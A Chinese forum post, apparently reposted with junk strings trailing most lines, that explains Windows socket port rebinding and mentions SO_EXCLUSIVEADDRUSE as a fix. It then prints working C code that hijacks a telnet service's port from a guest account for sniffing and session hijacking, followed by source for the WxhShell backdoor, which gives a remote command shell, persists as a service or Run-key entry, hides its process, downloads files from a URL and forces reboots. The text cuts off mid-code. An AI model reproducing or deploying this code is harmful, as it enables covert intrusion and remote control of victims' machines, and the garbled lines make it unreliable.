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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^2 }p%j >  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H b}(.`  
T}r}uw`  
  saddr.sin_family = AF_INET; z1vSt[s  
i~sW_f+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y4j%K~ls Y  
Yj'/ p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iR39lOr  
\>N"{T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yZyB.wT  
kX8Ey  
  这意味着什么?意味着可以进行如下的攻击: L+N;mI8  
,\^RyHg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :|TQi9L$rj  
\{K~x@`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FNy-&{P2  
S #6:!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <]wQ;14;H  
FesUE_L2$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {wwkbc*  
e.l3xwt>$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t}x^*I$*  
mVVL[z2+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bb}$7v`G  
7:$zSj# y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >'g>CD!  
x4^* YZc$,  
  #include S>nf]J`  
  #include #y>q)Ph  
  #include $dkkgsw 7  
  #include    jk9/EmV*r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cOrFe;8-.  
  int main() Z.E@aml\  
  { 5ji#rIAhxh  
  WORD wVersionRequested; sMHP=2##  
  DWORD ret; }]!?t~5*  
  WSADATA wsaData; :vo#(  
  BOOL val; *DS>#x@3*i  
  SOCKADDR_IN saddr; \VAm4   
  SOCKADDR_IN scaddr; 2{oU5e  
  int err; "^&Te%x_b  
  SOCKET s; f*E#E=j  
  SOCKET sc; V \Sl->:  
  int caddsize; YX{c06BHs  
  HANDLE mt; #.W^7}H  
  DWORD tid;   JthW"{E  
  wVersionRequested = MAKEWORD( 2, 2 ); .\}nDT  
  err = WSAStartup( wVersionRequested, &wsaData ); W~Ae&gcn#  
  if ( err != 0 ) { Kk|4  
  printf("error!WSAStartup failed!\n"); ;tG@ 6  
  return -1; lSK<LytB  
  } u81@vEK:_  
  saddr.sin_family = AF_INET; e{E8_2d  
   nz_1Fu>g|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,f)#&}x*2+  
0jmPj   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ro :)N:C  
  saddr.sin_port = htons(23); "Kc1@EX=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i=AQ1X\s  
  { rPXy(d1<`S  
  printf("error!socket failed!\n"); ;JV(!8[  
  return -1; [iGL~RiXtn  
  } !v68`l15  
  val = TRUE; (y!V0iy]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ds "N*\.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y|2y! &o,!  
  { @l %x;`E  
  printf("error!setsockopt failed!\n"); ~Sc{\ZJl  
  return -1; G^&P'*  
  } b 67l\L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cu )w6!f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #Zj3SfU~`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %pBc]n@_  
4ZCD@C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 45U!\mG  
  { 2e| m3  
  ret=GetLastError(); r31)Ed$  
  printf("error!bind failed!\n"); Q~zs]{\  
  return -1; `FHKQS5  
  } t*(buAx  
  listen(s,2); @;`d\lQ  
  while(1) "U o~fJ  
  { 2!Sl!x+i\'  
  caddsize = sizeof(scaddr); .Hm1ispq  
  //接受连接请求 u=f}t=3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D V=xqC6}  
  if(sc!=INVALID_SOCKET) |$G|M=*LN  
  { =l+~}/7'Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D0VbD" y  
  if(mt==NULL) A40Q~X  
  { R>y/Y<5=  
  printf("Thread Creat Failed!\n"); H*E4+3y  
  break; kJk6lPSqi7  
  } A?4s+A@Eg  
  } 1;"DIsz@d  
  CloseHandle(mt); &b9bb{y_$K  
  } 5h@5.-}  
  closesocket(s); v0u, :eZ4  
  WSACleanup(); UJ7{FN=@t  
  return 0; Rg\D-F6:  
  }   yP0XA=,Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0+3{fD/  
  { H J0Rcw%  
  SOCKET ss = (SOCKET)lpParam; a2SXg A  
  SOCKET sc; :]uz0s`>  
  unsigned char buf[4096]; PS'SIX  
  SOCKADDR_IN saddr; -W.bOr  
  long num; \kEC|O)8  
  DWORD val; Y^-D'2P]P  
  DWORD ret; "/0Vvy_|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YES-,;ZQ'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h42dk(B  
  saddr.sin_family = AF_INET; 0;Z] vl/|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `L7Cf&W\l8  
  saddr.sin_port = htons(23); |{9&!=/qf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -s&7zqW  
  { fx*Q,}t  
  printf("error!socket failed!\n"); O\q-Ai  
  return -1; V(P 1{g  
  }  >B$J  
  val = 100; s7"5NU-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y[. f`Ei2  
  { |oX1J<LM  
  ret = GetLastError(); bA02)?L  
  return -1; "] [u  
  } i<-a-Z+^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4;V;8a\A  
  { NN] 8T  
  ret = GetLastError(); bsdT>|gW  
  return -1; e {805^X}  
  } X3R:^ff\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >gf,8flgj  
  { V#TNv0&0  
  printf("error!socket connect failed!\n"); Z7J4r TA  
  closesocket(sc); q$7/X;A  
  closesocket(ss); Rv Uw,=  
  return -1; Wp(Rw4j  
  } KS Q*HO)5  
  while(1) 7Y6b<:4j  
  { 3"LT''  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "w{$d&+?ag  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r:--DKt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J!d=aGY0-  
  num = recv(ss,buf,4096,0); 0 `$fs.4c  
  if(num>0) Z=9gok\  
  send(sc,buf,num,0); q]#j,}cN9  
  else if(num==0) jQ3&4>gj  
  break; BDT"wy8  
  num = recv(sc,buf,4096,0); K:b^@>XH  
  if(num>0) #+(@i|!ifo  
  send(ss,buf,num,0); dfWtLY  
  else if(num==0) Ib2n Bg>j  
  break; bA\(oD+:  
  } xwa@h}\#  
  closesocket(ss); 46gDoSS  
  closesocket(sc); ?eDZ-u9)  
  return 0 ; C=x70Y/  
  } k|3hs('y|  
52.%f+Oa  
l0=VE#rFl  
========================================================== N fND@m{/  
Kj/Lcx;bh  
下边附上一个代码,,WXhSHELL m*vz   
_71&".A  
========================================================== Q=t_m(:0  
cf%aOHYI*  
#include "stdafx.h" FXh*!%"*  
SS!b`  
#include <stdio.h> iM M s3  
#include <string.h> cS(=wC  
#include <windows.h> @YbZ"Jb  
#include <winsock2.h> _V(FHjY  
#include <winsvc.h> Xa_:B\ic  
#include <urlmon.h> [BKOK7QK|  
g"v6UZ\  
#pragma comment (lib, "Ws2_32.lib") _*-b0}T   
#pragma comment (lib, "urlmon.lib") 9e;8"rJ?C  
iHeu<3O  
#define MAX_USER   100 // 最大客户端连接数 p<c1$O*  
#define BUF_SOCK   200 // sock buffer &"d :+!4h  
#define KEY_BUFF   255 // 输入 buffer ~toR)=Yv  
<4P.B?-/t  
#define REBOOT     0   // 重启 lm|s%  
#define SHUTDOWN   1   // 关机 m'WGK`WIm  
j+[oZfH  
#define DEF_PORT   5000 // 监听端口 5h6-aQU[  
T[kS;-x  
#define REG_LEN     16   // 注册表键长度 i4lB ]k  
#define SVC_LEN     80   // NT服务名长度 >OKc\m2%Q  
<.:mp1,8V  
// 从dll定义API [~ !9t9+~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *0Wkz'=U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J3hhh(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?;GXFKy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \-D[C+1(  
;i!$rL  
// wxhshell配置信息 {v*X}`.h  
struct WSCFG { H/l,;/q]b  
  int ws_port;         // 监听端口 ?MOjtAG0_~  
  char ws_passstr[REG_LEN]; // 口令 )i[K1$x2  
  int ws_autoins;       // 安装标记, 1=yes 0=no uTvf[%EHW  
  char ws_regname[REG_LEN]; // 注册表键名 0u bf]Z  
  char ws_svcname[REG_LEN]; // 服务名 \_MWZRMc5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y\R-=Am".  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #rQT)n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,qj M1xkL$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T;v^BVn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nPhREn!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {7.uwIW.1  
!eP0b~$/^J  
}; HpS1(%d"  
DTl&V|h$  
// default Wxhshell configuration .J?RaH{i  
struct WSCFG wscfg={DEF_PORT, A>6_h1  
    "xuhuanlingzhe", Awe'MGp%  
    1, h9QQ8}g  
    "Wxhshell", ekd;sEO  
    "Wxhshell", #M<u^$Jz  
            "WxhShell Service", !}q@O-}j  
    "Wrsky Windows CmdShell Service", ge#P(Itz  
    "Please Input Your Password: ", )h1 `?q:5  
  1, (zw.?ADPCT  
  "http://www.wrsky.com/wxhshell.exe", .}Hs'co  
  "Wxhshell.exe" \zzPsnFIg  
    }; p1s|JI  
'y7<!uo?  
// 消息定义模块 ^_/gM[H.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0aGAF ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eBqF@'DQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n/^QPR$>.  
char *msg_ws_ext="\n\rExit."; (I;lE*>  
char *msg_ws_end="\n\rQuit."; A_+*b [P  
char *msg_ws_boot="\n\rReboot..."; |;R-q8  
char *msg_ws_poff="\n\rShutdown..."; 9#a/at]  
char *msg_ws_down="\n\rSave to "; $x2G/5?  
tD])&0"(  
char *msg_ws_err="\n\rErr!"; - XB[2h  
char *msg_ws_ok="\n\rOK!"; 0G3T.4I  
a> S -50  
char ExeFile[MAX_PATH]; +f,I$&d.V  
int nUser = 0; r@ba1*y0  
HANDLE handles[MAX_USER]; Qm4cuV-0{  
int OsIsNt; 5Zl7crA[  
z5W;-sCz  
SERVICE_STATUS       serviceStatus; n +dRAIqB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5"w%  
xLw[ aYy4  
// 函数声明 vqo ~?9z[e  
int Install(void); :-~x~ah-  
int Uninstall(void); KJ_L>$ ]*  
int DownloadFile(char *sURL, SOCKET wsh); |UN#utw{^Y  
int Boot(int flag); (qDJgf4fgn  
void HideProc(void); p<&dy^mS  
int GetOsVer(void); N|w;wF!3  
int Wxhshell(SOCKET wsl); soqnr" 1  
void TalkWithClient(void *cs); #!4`t]E<  
int CmdShell(SOCKET sock); Mm%b8#Fe!  
int StartFromService(void); =6B I[_0  
int StartWxhshell(LPSTR lpCmdLine); hroRDD   
a]4|XJ_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q`UgtL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nrc-@ ]  
u43-\=1$T  
// 数据结构和表定义 \$ :)Ka  
SERVICE_TABLE_ENTRY DispatchTable[] = E#n: d9WA:  
{ :s|xa u=  
{wscfg.ws_svcname, NTServiceMain}, 6+Y@dJnPT  
{NULL, NULL} Ps~)l#gue  
}; ]o`FF="at  
q[+V6n `Z5  
// 自我安装 M+lI,j+  
int Install(void) uR82},r$m  
{ BA_l*h%=Cc  
  char svExeFile[MAX_PATH]; }te dh  
  HKEY key; J=ot& %  
  strcpy(svExeFile,ExeFile); fw0Z- 9*  
N~B'gJJDx  
// 如果是win9x系统,修改注册表设为自启动 jxnb<!|?H@  
if(!OsIsNt) { tfjbG;R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uQkQ#'e|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,J'@e+jV  
  RegCloseKey(key); qb5IpI{U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;o.,vQF*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >u=nGeO  
  RegCloseKey(key); "H}ae7@  
  return 0; #DcK{|ty  
    } K_V$ktL  
  } 0vM,2:kf*  
} ;+Mr|vweTC  
else { !}HT&N8[r  
bfA9aT  
// 如果是NT以上系统,安装为系统服务 v9Ez0 :)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bM $WU?Z  
if (schSCManager!=0) #4!6pMW(&7  
{ 62#8c~ dL  
  SC_HANDLE schService = CreateService =4 W jb  
  ( ;sd] IZ$#  
  schSCManager, YHr<`Q</  
  wscfg.ws_svcname, 5fK<DkB$>:  
  wscfg.ws_svcdisp, iPrAB*  
  SERVICE_ALL_ACCESS, Dz+R Q`Vn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <(Ktf0'__  
  SERVICE_AUTO_START, "`5BAv;u  
  SERVICE_ERROR_NORMAL, ]j< & :_  
  svExeFile, m ,TYF  
  NULL, *. ; }v@  
  NULL, 5v#_2Ih  
  NULL, ]yA_N>k2K  
  NULL, ^X slj  
  NULL !_h<w?)  
  ); }Yp]A  
  if (schService!=0) HO;,Ya^l  
  { ; J8 25CE  
  CloseServiceHandle(schService); /ee4 v!  
  CloseServiceHandle(schSCManager); 5VW*h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P87qUC  
  strcat(svExeFile,wscfg.ws_svcname); 6Q9S~YYq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V$ac}A,!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |HK/*B  
  RegCloseKey(key); ; ,:w % .  
  return 0; LzkwgcR  
    } j~Ubpf  
  } M hg_z.Z  
  CloseServiceHandle(schSCManager); r$-]NYPi  
} y?{YQ)fj  
} wGnFDkCNz  
u/L\e.4  
return 1; )9>E} SU/  
} MIwkFI8  
!,>9?(  
// 自我卸载 ca8.8uHY\  
int Uninstall(void) pc<A ,?  
{ % ck/ Z  
  HKEY key; 6w^Fee`>]  
gNzamorv[  
if(!OsIsNt) { \+sP<'~M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0"$'1g^]7  
  RegDeleteValue(key,wscfg.ws_regname); /<oBgFMoJ  
  RegCloseKey(key); G7H'OB &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t~FOaSt  
  RegDeleteValue(key,wscfg.ws_regname); Hf$LWPL)lM  
  RegCloseKey(key); > v ]-B"Y  
  return 0; JZB@K6 ~dO  
  } XRR`GBI  
} X7& ^"|:  
} Y/< ],1U  
else { V .VV:`S  
Fs)m;C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qct:xviH<|  
if (schSCManager!=0) a,*~wmg  
{ BA|*V[HBE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `1"Xj ^ YM  
  if (schService!=0) w B[H &  
  { ?BnjtefIe  
  if(DeleteService(schService)!=0) { :0B' b  
  CloseServiceHandle(schService); j#E&u*IR  
  CloseServiceHandle(schSCManager); |\ 4cQ  
  return 0; %1VfTr5  
  } W02swhS  
  CloseServiceHandle(schService); 4PAuEM/z  
  } | WMq&-$D  
  CloseServiceHandle(schSCManager); >pn5nn1a  
} tXnD>H YV  
}  6,;7iA]  
6@o *"4~Q  
return 1; h ?%]uFJC  
} xiG_l-2l  
DG"Z:^`*  
// 从指定url下载文件 }Ii5[nRN  
int DownloadFile(char *sURL, SOCKET wsh) 3F6=/  
{ C!}9[X!7@:  
  HRESULT hr; u|]`gsFZ\  
char seps[]= "/"; %t\ ~3pw=  
char *token; p8Wik<'^  
char *file;  MUd 9R  
char myURL[MAX_PATH]; o>Jr6: D(  
char myFILE[MAX_PATH]; r b@{ir  
#q%V|Ajq  
strcpy(myURL,sURL); ",qJG]_ <  
  token=strtok(myURL,seps); 9n[ovX 7n!  
  while(token!=NULL) s0x;<si_  
  { #y&O5    
    file=token; !*l5%H  
  token=strtok(NULL,seps); Sx3R 2-!Z  
  } Z>zW83a  
)j>BvO  
GetCurrentDirectory(MAX_PATH,myFILE); 11 >K\"K}  
strcat(myFILE, "\\"); * >XmJ6w  
strcat(myFILE, file); COf>H0^%Q  
  send(wsh,myFILE,strlen(myFILE),0); .IJgkP)!]  
send(wsh,"...",3,0); ESAFsJ$r;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Vaw$c-+[y  
  if(hr==S_OK) 6:vdo~  
return 0; Xm! ;  
else WMLsKoby  
return 1; xK3}z N$T  
R87e"m/C%  
} B> LL *  
H o;bgva  
// 系统电源模块 |}>;wZ[7  
int Boot(int flag) o7W1sD1O  
{ \6U$kMGde  
  HANDLE hToken; $pg1Av7l  
  TOKEN_PRIVILEGES tkp; yl[6b1  
sjj*7i*  
  if(OsIsNt) { e2PM^1{_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `vPc&.-K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w,QO!)j!  
    tkp.PrivilegeCount = 1; 0'9z XJ"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %>G(2)Fb\\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >1n[Y- r  
if(flag==REBOOT) { H(TY.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]TmxCTVL  
  return 0; !:^lTvYWZH  
} z3:tSjF  
else {  e ):rr*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (\M&Q-xZ  
  return 0; D,H v(6({  
} 8Ekk"h 6  
  } 3'zm)SXJ  
  else { 9AsK=/Buf  
if(flag==REBOOT) { :"oQ _bLT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xi =\]  
  return 0; ^ |^Q(  
} LiF(#OuZ  
else { ]wQ#8}zO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BL^8gtdn  
  return 0; Z `)}1|~B  
} M[@=m[#a  
} AGdFJ>/  
i!JVGs  
return 1; CF:s@Z+  
} |4@su"OA  
j%qBNoT~  
// win9x进程隐藏模块 # ,KjJ  
void HideProc(void) 71# ipZ  
{ Lh(` 9(tX  
cj!Ew}o40D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g}B|ZRz+{  
  if ( hKernel != NULL ) @m=xCg.Z  
  { PnKgUJoa0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _26<}&]b*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =R  <X!@  
    FreeLibrary(hKernel); /T_ G9zc  
  } `IQ76Xl  
LZB=vc|3/  
return; O*ql!9}E{  
} x(Us O}  
C;6Nu W  
// 获取操作系统版本 fQ,L~:Y =  
int GetOsVer(void) rIt#ps  
{ :6*FnKD  
  OSVERSIONINFO winfo; *)jhhw=34  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /b)V=mcR  
  GetVersionEx(&winfo); n^Uu6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -$[o:dLO  
  return 1; 2C!Ko"1Y'  
  else 4{s3S2f =  
  return 0; D# "ppa}  
} Z7X_U` Q  
wewYlm5@  
// 客户端句柄模块 .cV<(J 5o  
int Wxhshell(SOCKET wsl) gJ8+HV  
{ fgW>U*.ar  
  SOCKET wsh; vThK@P!s  
  struct sockaddr_in client; O7_u9lz2  
  DWORD myID; o"Dk`L2  
2)A% 'Akf  
  while(nUser<MAX_USER) xSQ:#o=8G  
{ i'$V'x'k  
  int nSize=sizeof(client); {v,O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ue5C ]  
  if(wsh==INVALID_SOCKET) return 1; E26zw9d  
Sl8A=Ez  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h}k/okG  
if(handles[nUser]==0) NRM=0-16u$  
  closesocket(wsh); VoOh$&"M  
else \!erP!$x .  
  nUser++; $X9`~Sv _  
  } 2k}" 52  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P@m_tA%  
S<f]Y4A&  
  return 0; |(Bc0sgw}  
} 3Vu_-.ID  
$fhb-c3  
// 关闭 socket Vg 6/1I  
void CloseIt(SOCKET wsh) K|q5s]4I  
{ 0.9%m7.m  
closesocket(wsh); i58&o@.H<u  
nUser--; VuOZZ7y  
ExitThread(0); CBqeO@M  
} _%xe:X+ M  
^4WNP  
// 客户端请求句柄 Qd %U(|  
void TalkWithClient(void *cs) w$X"E*~>8  
{ DcO$&)Eb  
Y-Zw'  
  SOCKET wsh=(SOCKET)cs; L*Gk1'  
  char pwd[SVC_LEN]; wN|;_~h2  
  char cmd[KEY_BUFF]; T=EHue$  
char chr[1]; `Dck$  
int i,j; DHUK_#!  
|# _F  
  while (nUser < MAX_USER) { 'UYxVh9D  
U.fL uKt  
if(wscfg.ws_passstr) { 5 (Lw-_y#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _</>`P[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *kmD/J  
  //ZeroMemory(pwd,KEY_BUFF); m~[4eH,  
      i=0; =i4%KF9 x  
  while(i<SVC_LEN) { UP18?uM  
>tmv3_<=  
  // 设置超时 A)2eo<ij4  
  fd_set FdRead; Ej\M e  
  struct timeval TimeOut; k$kOp *X  
  FD_ZERO(&FdRead); 4@iMGYR9!s  
  FD_SET(wsh,&FdRead); xnuu#@f  
  TimeOut.tv_sec=8; e ej:  
  TimeOut.tv_usec=0; lo1<t<w`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D#=$? {w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }#u.Of`6"  
X=8CZq4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !CBvFl/v  
  pwd=chr[0]; Oy,7>vWQI  
  if(chr[0]==0xd || chr[0]==0xa) { @O!BQ^'hk#  
  pwd=0; !O`aaLc  
  break; Lp|7s8?  
  } <|!?V"`3  
  i++; pk%%}tP<  
    } Y$vobi$  
#-]!;sY>  
  // 如果是非法用户,关闭 socket :>:F6Db"U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FZt a  
} d@$]/=%  
N;YAG#'9~_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eK=W'cNu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o9<)rUy  
,P%a0\  
while(1) { {Wi)/B}  
,2|(UTv  
  ZeroMemory(cmd,KEY_BUFF); Oc Gg'R7  
mMNT.a  
      // 自动支持客户端 telnet标准   ~t>i+{J KE  
  j=0; 'n>v}__&|  
  while(j<KEY_BUFF) { sjZ@}Vk3b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gB3Tz(!  
  cmd[j]=chr[0]; 4Y2!q$}I+  
  if(chr[0]==0xa || chr[0]==0xd) { 8|z@"b l)  
  cmd[j]=0; $QNII+o  
  break; {Rm N1'%  
  } ;JD/4:  
  j++; ^&!S nM  
    } m@Q%)sc)  
c%jW'  
  // 下载文件 ezq<)gJc  
  if(strstr(cmd,"http://")) { S'h{["P~ 0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q':P9 o*N?  
  if(DownloadFile(cmd,wsh)) =tKb7:KU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (GeOD V?U  
  else ^$!H|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P^)J^{r  
  } Z\\'0yuY(  
  else { +Fk]hCL  
{o."T/?d'  
    switch(cmd[0]) { _^k9!V jo  
  I+!?~]AUuq  
  // 帮助 @VzD> ?)  
  case '?': { ~S85+OJ;M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,\DSi&T  
    break; !,(6uO%  
  } 8mmHefZ}2!  
  // 安装 yUyx&Y/  
  case 'i': { ![ce=9@t<  
    if(Install()) [X\<C '<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+~^c|  
    else f\|R<3 L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \FL`b{!+ N  
    break; gG,"wzj  
    } ndXUR4  
  // 卸载 % >mB"Y,  
  case 'r': { [PhT zXt  
    if(Uninstall()) 8fH. E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Hp<(  
    else A.v'ws+VDP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )LdS1%  
    break; o6v'`p '  
    } i?+>,r@\p  
  // 显示 wxhshell 所在路径 A*a:#'"*N  
  case 'p': { >!gW]{  
    char svExeFile[MAX_PATH]; wn&5Ul9Elb  
    strcpy(svExeFile,"\n\r"); \7d T]VV  
      strcat(svExeFile,ExeFile); $q%l)]+  
        send(wsh,svExeFile,strlen(svExeFile),0); hmG^l4B.T  
    break; 7rZE7+%]  
    } uto E}U7]  
  // 重启 FQgc\-8tm  
  case 'b': { sT<XZLu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :&'[#%h8  
    if(Boot(REBOOT)) n a3st*3V_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wu1">|  
    else { ?j:g.a+U  
